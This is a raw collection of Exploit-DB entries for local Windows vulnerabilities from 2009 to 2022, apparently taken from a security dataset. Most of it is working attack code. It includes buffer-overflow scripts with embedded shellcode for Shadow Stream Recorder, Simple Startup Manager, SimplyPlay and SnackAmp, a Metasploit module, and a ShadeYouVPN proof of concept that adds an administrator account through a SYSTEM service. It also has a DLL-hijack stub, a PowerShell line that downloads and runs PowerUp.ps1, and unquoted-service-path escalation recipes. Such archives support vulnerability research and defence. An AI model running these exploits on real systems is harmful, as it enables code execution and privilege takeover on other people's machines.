deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41959
Description: Serviio PRO 1.8 DLNA Media Streaming Server - Local Privilege Escalation
Type: local
Platform: windows
Date: 2017-05-03
Author: LiquidWorm

Exploit:
Serviio PRO 1.8 DLNA Media Streaming Server Local Privilege Escalation


Vendor: Petr Nejedly | Six Lines Ltd
Product web page: http://www.serviio.org
Affected version: 1.8.0.0 PRO

Summary: Serviio is a free media server. It allows you to stream your media
files (music, video or images) to renderer devices (e.g. a TV set, Bluray player,
games console or mobile phone) on your connected home network.

Desc: The application suffers from an unquoted search path issue impacting the service
'Serviio' for Windows deployed as part of Serviio DLNA server solution. This could potentially
allow an authorized but non-privileged local user to execute arbitrary code with elevated
privileges on the system. A successful attempt would require the local user to be able to
insert their code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot. If successful, the
local user’s code would execute with the elevated privileges of the application.

Serviio also suffers from improper permissions which can be used by a simple authenticated user
that can change the executable file with a binary of choice. The vulnerability exist due to the
improper permissions, with the 'F' flag (Full) for 'Users' group, for the Serviio directory and
its sub-directories.


Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5405
Advisory URL: http://www.zeroscience.mk/en/vulnerability/ZSL-2017-5405.php

SSD Advisory: https://blogs.securiteam.com/index.php/archives/3094


12.12.2016

---


C:\>sc qc Serviio
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Serviio
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Serviio\bin\ServiioService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Serviio
        DEPENDENCIES       : HTTP
        SERVICE_START_NAME : LocalSystem

C:\>icacls "C:\Program Files\Serviio\bin\ServiioService.exe"
C:\Program Files\Serviio\bin\ServiioService.exe BUILTIN\Users:(I)(F)
                                                NT AUTHORITY\SYSTEM:(I)(F)
                                                BUILTIN\Administrators:(I)(F)

Successfully processed 1 files; Failed processing 0 files

C:\>
Exploit-DB #41349
Description: ShadeYouVPN Client 2.0.1.11 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2017-02-14
Author: Kacper Szurek

Exploit:
# Exploit ShadeYouVPN.com Client v2.0.1.11 for Windows Privilege Escalation
# Date: 14.02.2017
# Software Link: https://shadeyouvpn.com/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: local
  
1. Description
 
`ShadeYou` service executes any file path send through socket without verification as SYSTEM user.

https://security.szurek.pl/shadeyouvpncom-client-v20111-for-windows-privilege-escalation.html

2. Proof of Concept

import socket
import tempfile

print "ShadeYouVPN.com Client v2.0.1.11 for Windows Privilege Escalation"
print "by Kacper Szurek"
print "https://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"

t = tempfile.TemporaryFile(delete=False, suffix='.bat')
t.write("net user shade /add\n")
t.write("net localgroup administrators shade /add")
t.close()

s = socket.socket()
s.connect(("127.0.0.1", 10295))

s.send("s||config|"+t.name+"|ccccc|ddddd|eeee|ffff|\r\n")
print s.recv(1024)
print s.recv(1024)

3. Solution
 
Update to version 2.0.1.12
Exploit-DB #11957
Description: Shadow Stream Recorder 3.0.1.7 - '.asx' Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-03-30
Author: b0telh0

Exploit:
#!/usr/bin/python
#
# Title: Shadow Stream Recorder 3.0.1.7 (.asx) Local Buffer Overflow
# Date: 03-29-2010
# Author: b0telh0
# Link: http://www.rm-to-mp3.net/downloads/ssrecordersetup.exe
# Tested on: Windows XP SP3


#
# windows/exec - 228 bytes
# EXITFUNC=seh, CMD=calc.exe
#

shellcode = ("\xda\xd6\xbe\xc4\x14\x6b\x17\x31\xc9\xd9\x74\x24\xf4\x58\xb1"
	"\x33\x83\xe8\xfc\x31\x70\x14\x03\x70\xd0\xf6\x9e\xeb\x30\x7f"
	"\x60\x14\xc0\xe0\xe8\xf1\xf1\x32\x8e\x72\xa3\x82\xc4\xd7\x4f"
	"\x68\x88\xc3\xc4\x1c\x05\xe3\x6d\xaa\x73\xca\x6e\x1a\xbc\x80"
	"\xac\x3c\x40\xdb\xe0\x9e\x79\x14\xf5\xdf\xbe\x49\xf5\xb2\x17"
	"\x05\xa7\x22\x13\x5b\x7b\x42\xf3\xd7\xc3\x3c\x76\x27\xb7\xf6"
	"\x79\x78\x67\x8c\x32\x60\x0c\xca\xe2\x91\xc1\x08\xde\xd8\x6e"
	"\xfa\x94\xda\xa6\x32\x54\xed\x86\x99\x6b\xc1\x0b\xe3\xac\xe6"
	"\xf3\x96\xc6\x14\x8e\xa0\x1c\x66\x54\x24\x81\xc0\x1f\x9e\x61"
	"\xf0\xcc\x79\xe1\xfe\xb9\x0e\xad\xe2\x3c\xc2\xc5\x1f\xb5\xe5"
	"\x09\x96\x8d\xc1\x8d\xf2\x56\x6b\x97\x5e\x39\x94\xc7\x07\xe6"
	"\x30\x83\xaa\xf3\x43\xce\xa0\x02\xc1\x74\x8d\x04\xd9\x76\xbe"
	"\x6c\xe8\xfd\x51\xeb\xf5\xd7\x15\x0d\x07\xea\x83\x99\xbe\x9f"
	"\xe9\xc4\x40\x4a\x2d\xf0\xc2\x7f\xce\x07\xda\xf5\xcb\x4c\x5c"
	"\xe5\xa1\xdd\x09\x09\x15\xde\x1b\x6a\xf8\x4c\xc7\x43\x9f\xf4"
	"\x62\x9c\x55");

junk = "\x41" * 26112
eip = "\x53\x93\x37\x7E"        # 7E379353  USER32.dll  (JMP ESP)
nops = "\x90" * 20
junk2 = "\x41" * 3636

try:
    file = open('b0t.asx','w');
    file.write(junk+eip+nops+shellcode+junk2);
    file.close();
    print "\n[+] b0t.asx created."
    print "[+] Open ssrecorder.exe..."
    print "[+] and drag and drop b0t.asx.\n"
except:
    print "\n[-] Error.. Can't write file to system.\n"
Exploit-DB #18781
Description: Shadow Stream Recorder 3.0.1.7 - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2012-04-25
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'Shadow Stream Recorder 3.0.1.7 Buffer Overflow',
			'Description'     => %q{
				This module exploits a buffer overflow in Shadow Stream Recorder 3.0.1.7.
				Using the application to open a specially crafted asx file, a buffer
				overflow may occur to allow arbitrary code execution under the context
				of the user.
			},
			'License'         => MSF_LICENSE,
			'Author'          =>
				[
					'AlpHaNiX <alpha[at]hacker.bz>',  # Original .m3u exploit
					'b0telh0 <me[at]gotgeek.com.br>'  # MSF Module and .asx exploit
				],
			'References'      =>
				[
					[ 'BID', '34864' ],
					[ 'EDB', '11957' ]
				],
			'DefaultOptions'  =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true'
				},
			'Platform'        => 'win',
			'Payload'         =>
				{
					'Space' => 2000,
					'BadChars' => "\x00\x09\x0a",
					'StackAdjustment' => -3500
				},
			'Targets'         =>
				[
					[ 'Windows Universal',
						{
							# push esp - ret ssrfilter03.dll
							'Ret' => 0x10035706,
							'Offset' => 26117
						}
					],
				],
			'Privileged'      => false,
			'DisclosureDate'  => 'Mar 29 2010',
			'DefaultTarget'   => 0))

		register_options(
			[
				OptString.new('FILENAME', [true, 'The file name.', 'msf.asx'])
			], self.class)

	end

	def exploit

		buffer = "http://"
		buffer << rand_text_alpha_upper(target['Offset'])
		buffer << [target.ret].pack('V')
		buffer << make_nops(40)
		buffer << payload.encoded

		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(buffer)
	end

end
Exploit-DB #48794
Description: ShareMouse 5.0.43 - 'ShareMouse Service' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-09-08
Author: alacerda

Exploit:
# Exploit Title: ShareMouse 5.0.43 - 'ShareMouse Service' Unquoted Service Path
# Discovery Date: 2020-09-08
# Discovery by: Alan Lacerda (alacerda)
# Vendor Homepage: https://www.sharemouse.com/
# Software Link: https://www.sharemouse.com/ShareMouseSetup.exe
# Version: 5.0.43
# Tested on OS: Microsoft Windows 10 Pro EN OS Version: 10.0.19041

PS > iex (iwr https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1 -UseBasicParsing);
PS > Invoke-AllChecks

ServiceName   : ShareMouse Service
Path          : C:\Program Files (x86)\ShareMouse\smService.exe
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'ShareMouse Service' -Path <HijackPath>

PS >  wmic service where 'name like "%ShareMouse%"' get DisplayName,PathName,AcceptStop,StartName
AcceptStop  DisplayName         PathName                                         StartName
TRUE        ShareMouse Service  C:\Program Files (x86)\ShareMouse\smService.exe  LocalSystem

#Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.
Exploit-DB #40497
Description: Sheed AntiVirus 2.3 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-11
Author: Amir.ght

Exploit:
#########################################################################
# Exploit Title: sheed AntiVirus Unquoted Service Path Privilege Escalation
# Date: 11/10/2016
# Author: Amir.ght
# Vendor Homepage: http://sheedantivirus.ir/
# Software Link:http://dl.sheedantivirus.ir/setup.exe
#version : 2.3  (Latest)
# Tested on: Windows 7
##########################################################################

sheed AntiVirus installs a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc ShavProt
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ShavProt
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files\Sheed AntiVirus\shgrprot.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ShavProt
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #50852
Description: Sherpa Connector Service v2020.2.20328.2050 - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-04-07
Author: Manthan Chhabra

Exploit:
# Exploit Title: Sherpa Connector Service v2020.2.20328.2050 - Unquoted Service Path
# Exploit Author: Manthan Chhabra (netsectuna), Harshit (fumenoid)
# Version: 2020.2.20328.2050
# Date: 02/04/2022
# Vendor Homepage: http://gimmal.com/
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10
# CVE: CVE-2022-23909


# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode | findstr /i
"sherpa" | findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v
"""

Sherpa Connector Service
         Sherpa Connector Service                                C:\Program
Files\Sherpa Software\Sherpa Connector\SherpaConnectorService.exe
                                 Auto

C:\>sc qc "Sherpa Connector Service"

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Sherpa Connector Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Sherpa Software\Sherpa
Connector\SherpaConnectorService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Sherpa Connector Service
        DEPENDENCIES       : wmiApSrv
        SERVICE_START_NAME : LocalSystem
Exploit-DB #47660
Description: Shrew Soft VPN Client 2.2.2 - 'iked' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-11-15
Author: D.Goedecke

Exploit:
# Exploit Title: Shrew Soft VPN Client 2.2.2 - 'iked' Unquoted Service Path
# Date: 2019-11-14
# Exploit Author: D.Goedecke
# Vendor Homepage: www.shrew.net
# Software Link: https://www.shrew.net/download/vpn/vpn-client-2.2.2-release.exe
# Version: 2.2.2
# Tested on: Windows 10 64bit


C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
ShrewSoft IKE Daemon iked                                        C:\Program Files\ShrewSoft\VPN Client\iked.exe -service Auto
ShrewSoft IPSEC Daemon ipsecd                                    C:\Program Files\ShrewSoft\VPN Client\ipsecd.exe -service Auto 


C:\Users\user>sc qc iked
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: iked
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\ShrewSoft\VPN Client\iked.exe -service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ShrewSoft IKE Daemon
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\user>sc qc ipsecd
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ipsecd
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\ShrewSoft\VPN Client\ipsecd.exe -service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ShrewSoft IPSEC Daemon
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem 



#Exploit:
============
A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other
security applications where it could potentially be executed during
application startup or reboot. If successful, the local user's code
would execute with the elevated privileges of the application.
Exploit-DB #48678
Description: Simple Startup Manager 1.17 - 'File' Local Buffer Overflow (PoC)
Type: local
Platform: windows
Date: 2020-07-17
Author: PovlTekstTV

Exploit:
# Exploit Title: Simple Startup Manager 1.17 - 'File' Local Buffer Overflow (PoC) 
# Exploit Author: PovlTekstTV
# Date: 2020-07-15
# Vulnerable Software: Simple Startup Manager
# Software Link Download: http://www.ashkon.com/download/startup-manager.exe
# Version: 1.17
# Vulnerability Type: Local Buffer Overflow
# Tested on: Windows 7 Ultimate Service Pack 1 (32 and 64 bit)
# DEP and ASLR Disabled on system
# Space for shellcode: 264

#!/usr/bin/python
# Two sets of instructions are needed:
# 1. JMP EDI
# 2. JMP EBX 
# I found these in the OS-module: SETUPAPI.dll, which is usually protected using ASLR
# The exploit will properly not work unless changed/bruteforced.

# It is also possible to overwrite the SEH-handler with 600+ bytes,
# however I did not find any POP, POP, RETs.

# Walkthrough:
#   1.- Run the python script, it will create a new file "exploit.txt"
#   2.- Copy the content of the new file 'exploit.txt' to clipboard
#   3.- Turn off DEP for startup-manger.exe
#   4.- Open 'startup-manger.exe'
#   5.- Click 'New' or go to 'File' and click 'New'
#   6.- Paste content from clipboard into 'File' parameter
#   7.- Click on 'OK'
#   9.- Calc.exe runs.

#Identified the following badchars: x00 x0a x09 x0c x0d x3a x5c
#msfvenom -p windows/exec cmd=calc.exe -f c -b "\x00\x0a\x0c\x0d\x3a\x5c"
shellcode = ("\xdb\xd0\xd9\x74\x24\xf4\xbe\xcb\xe3\xc2\xa5\x5a\x33\xc9\xb1"
"\x31\x83\xc2\x04\x31\x72\x14\x03\x72\xdf\x01\x37\x59\x37\x47"
"\xb8\xa2\xc7\x28\x30\x47\xf6\x68\x26\x03\xa8\x58\x2c\x41\x44"
"\x12\x60\x72\xdf\x56\xad\x75\x68\xdc\x8b\xb8\x69\x4d\xef\xdb"
"\xe9\x8c\x3c\x3c\xd0\x5e\x31\x3d\x15\x82\xb8\x6f\xce\xc8\x6f"
"\x80\x7b\x84\xb3\x2b\x37\x08\xb4\xc8\x8f\x2b\x95\x5e\x84\x75"
"\x35\x60\x49\x0e\x7c\x7a\x8e\x2b\x36\xf1\x64\xc7\xc9\xd3\xb5"
"\x28\x65\x1a\x7a\xdb\x77\x5a\xbc\x04\x02\x92\xbf\xb9\x15\x61"
"\xc2\x65\x93\x72\x64\xed\x03\x5f\x95\x22\xd5\x14\x99\x8f\x91"
"\x73\xbd\x0e\x75\x08\xb9\x9b\x78\xdf\x48\xdf\x5e\xfb\x11\xbb"
"\xff\x5a\xff\x6a\xff\xbd\xa0\xd3\xa5\xb6\x4c\x07\xd4\x94\x1a"
"\xd6\x6a\xa3\x68\xd8\x74\xac\xdc\xb1\x45\x27\xb3\xc6\x59\xe2"
"\xf0\x39\x10\xaf\x50\xd2\xfd\x25\xe1\xbf\xfd\x93\x25\xc6\x7d"
"\x16\xd5\x3d\x9d\x53\xd0\x7a\x19\x8f\xa8\x13\xcc\xaf\x1f\x13"
"\xc5\xd3\xfe\x87\x85\x3d\x65\x20\x2f\x42")

payload = shellcode
payload += ("A"*(268-len(payload)-4))
payload += ("\xe4\xa9\x4e\x76") #0x764ea9e4 (JMP EBX) {PAGE_READONLY} [SETUPAPI.dll]
payload += ("\x5f\xbc\x4e\x76") #0x764ebc5f (JMP EDI) {PAGE_READONLY} [SETUPAPI.dll]

#Write payload to file
file = open("exploit.txt" , 'w')
file.write(payload)
file.close()
Exploit-DB #17171
Description: SimplyPlay 66 - '.pls' Local Buffer Overflow
Type: local
Platform: windows
Date: 2011-04-14
Author: C4SS!0 G0M3S

Exploit:
#!/usr/bin/perl
#
#[+]Exploit Title: SimplyPlay V.66 .PLS File Buffer Overflow Vulnerability
#[+]Date: 14\04\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.softpedia.com/get/Multimedia/Audio/Audio-Players/SimplyPlay.shtml
#[+]Version: Revision 66
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A
#
#
 
 
print q{
            Exploit Buffer Overflow  Revision:66(UNICODE - SEH)
            Created BY C4SS!0 G0M3S
            E-mail Louredo_@hotmail.com
            Site www.exploit-br.org
  
};

sleep(1);
$buf = "\x41" x 2000;
$buf .= "\x41" x 53;
$buf .= "\x58\x50";
$buf .= "\xa9\x45";#P/P/RETN 0x004500A9
$buf .= "\x41\x50\x61\xc9\xc8\x41\x50\x41\xc3";
$buf .= "\x41" x 11;
$buf .= 
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZ".
"ABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBYKWPNQGYWOCLLVRPHLJ9SDNDKD6QMNP".
"X01D8N853K8KLM3SHQXKD55NP487LQUI92X6VNCJUKC7D6NSMKRVJNZ02MLWORBJMMMPT8U1VMYO1JGV".
"61PL52QHJKVNUKEMD7W3LKKMKKU2KJPMWIMOXKMMROHMKURK8XCL7OK3JXOPLPOMS8S1CG4R7JWIHOKC".
"STNE3MO0W0SQTPQ5QP3HMZUWVKEWQ3N5HZU5ZJQM5VHO6UIOMOKY0J9KN0Q31X6LNNO3ULYTGX7RXNOQ".
"ITPCK8WM5COJH3KXJA";

$file = "[playlist]\n\n";
$file .= "File1=C:\\$buf\n";
$file .= q{Title1=lol
Length1=-1
NumberOfEntries=1
Version=2
};
print "[+]Creating the Exploit File...";
sleep(1);
open(f,">exploit.pls") or die "\n [+]Error:\n$!\n";
print f $file;
close(f);
print "\n[+]File Created With Success\n";
sleep(1);
Exploit-DB #14766
Description: Skype 4.2.0.169 - 'wab32.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Glafkos Charalambous

Exploit:
/* 
Exploit Title: Skype <= 4.2.0.169 DLL Hijacking Exploit (wab32.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: Latest Skype v4.2.0.169
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .skype
Greetz: Astalavista, OffSEC, Exploit-DB
Notes: Create folders %commonprogramfiles%\system and place wab32.dll
       %commonprogramfiles(x86)% on x64 bit
*/


#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI  DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  dll_hijack();
  return 0;
}

int dll_hijack()
{
  MessageBox(0, "Skype DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
}
Exploit-DB #32850
Description: SlySoft (Multiple Products) - Driver IOCTL Request Multiple Local Buffer Overflow Vulnerabilities
Type: local
Platform: windows
Date: 2009-03-12
Author: Nikita Tarakanov

Exploit:
source: https://www.securityfocus.com/bid/34103/info

Multiple SlySoft products are prone to multiple buffer-overflow vulnerabilities because they fail to adequately validate user-supplied input.

A local attacker can exploit these issues to execute arbitrary code with SYSTEM-level privileges. Failed attacks will result in denial-of-service conditions.

The following applications are vulnerable:

SlySoft AnyDVD 6.5.2.2
SlySoft AnyDVD HD 6.5.2.2
SlySoft Virtual CloneDrive 5.4.2.3
SlySoft CloneDVD 2.9.2.0
SlySoft CloneCD 5.3.1.3

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32850.zip
Exploit-DB #14831
Description: SnackAmp 3.1.2 - SMP Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-08-29
Author: James Fitts

Exploit:
# Exploit Title: SnackAmp 3.1.2 Malicious SMP Buffer Overflow Vulnerability (SEH)
# Date: 08/28/10
# Author: james [AT] learnsecurityonline [DOT] com
# Software Link: http://sourceforge.net/projects/snackamp/
# Version: 3.1.2
# Tested on: Windows XP SP3 EN
# CVE: N/A

# Shoutz to MC, Thanks bro!

#! /usr/bin/env ruby

nSEH = [0x909006eb].pack('V')

SEH = [0x016e52b7].pack('V') # pop pop ret from libsnack.dll

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
payload =  "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc"
payload << "\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"
payload << "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85"
payload << "\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5"
payload << "\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c"
payload << "\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21"
payload << "\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5"
payload << "\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27"
payload << "\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3"
payload << "\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53"
payload << "\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f"
payload << "\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6"
payload << "\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8"
payload << "\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
payload << "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f"
payload << "\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca"

junk = "\x41" * (10580 - payload.length)

jmp_back = "\xe9\x62\xff\xff\xff" # jmp $-153

File.open("crash.smp", 'w') do |b|
	b.write junk + payload + nSEH + SEH + jmp_back
end